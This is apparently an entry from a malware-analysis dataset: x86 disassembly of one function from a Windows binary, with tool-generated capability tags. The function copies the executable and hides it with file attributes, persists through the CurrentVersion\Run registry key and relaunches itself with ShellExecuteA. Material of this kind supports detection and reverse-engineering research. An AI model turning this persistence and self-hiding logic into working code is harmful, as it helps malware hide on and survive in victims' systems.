Function at 0x407dc0
Capabilities:
Check if file exists
Check os version
Create process on windows
Create thread
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call fcn.004209f8
add esp, 4
push eax
call fcn.004208c4
add esp, 4
call fcn.00401000
mov edi, eax
push edi
mov dword [ebp - 0x1ac], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x407e29
push edi
call fcn.00422e5d
add esp, 4
push edi
call fcn.00402010
add esp, 4
push 0
push edi
call fcn.00408040
add esp, 8
push 6
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401120
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407e5f
push esi
call fcn.00422369
add esp, 4
cmp byte [0x443a59], 0
jne 0x407e74
call fcn.004060e0
mov byte [0x443a59], 1
mov ecx, dword [0x443b0c]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [ebp - 0x110]
call fcn.00404ca0
add esp, 4
test al, al
je 0x407ec7
cmp byte [0x443a59], 0
jne 0x407ea8
call fcn.004060e0
mov byte [0x443a59], 1
mov edx, dword [0x443b0c]
mov ecx, dword [edx + 0x98]
push 1
push esi
lea eax, [ebp - 0x110]
call fcn.00404f70
add esp, 8
jmp 0x407ed6
push esi
lea eax, [ebp - 0x110]
call fcn.00401f80
add esp, 4
push esi
call fcn.004049b0
add esp, 4
push esi
call fcn.00402010
add esp, 4
push 6
push esi
call ebx
lea eax, [ebp - 0x1a8]
push eax
mov dword [ebp - 0x1a8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1a4], 6
jb 0x407f24
push 0
push 0
push 0
push 0x408320
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x407f93
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f30
sub eax, edx
mov edi, eax
call fcn.00401540
push 0
lea ecx, [ebp - 0x1b0]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x1b0]
test eax, eax
je 0x407f8d
push edi
push esi
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x1ac]
mov ecx, esi
lea eax, [ebp - 0x110]
jmp 0x407fa0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407fc0
test dl, dl
je 0x407fbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407fc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x407fa0
xor eax, eax
jmp 0x407fc5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408014
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408014
mov eax, dword [0x443a5c]
test eax, eax
je 0x407fe4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
push 0x43b460
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call fcn.004208b9
add esp, 4
push esi
call fcn.004208b9
add esp, 4
push 0
call fcn.00422df5
push edi
call fcn.004208b9
add esp, 4
push esi
call fcn.004208b9
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
mov esp, ebp
pop ebp
ret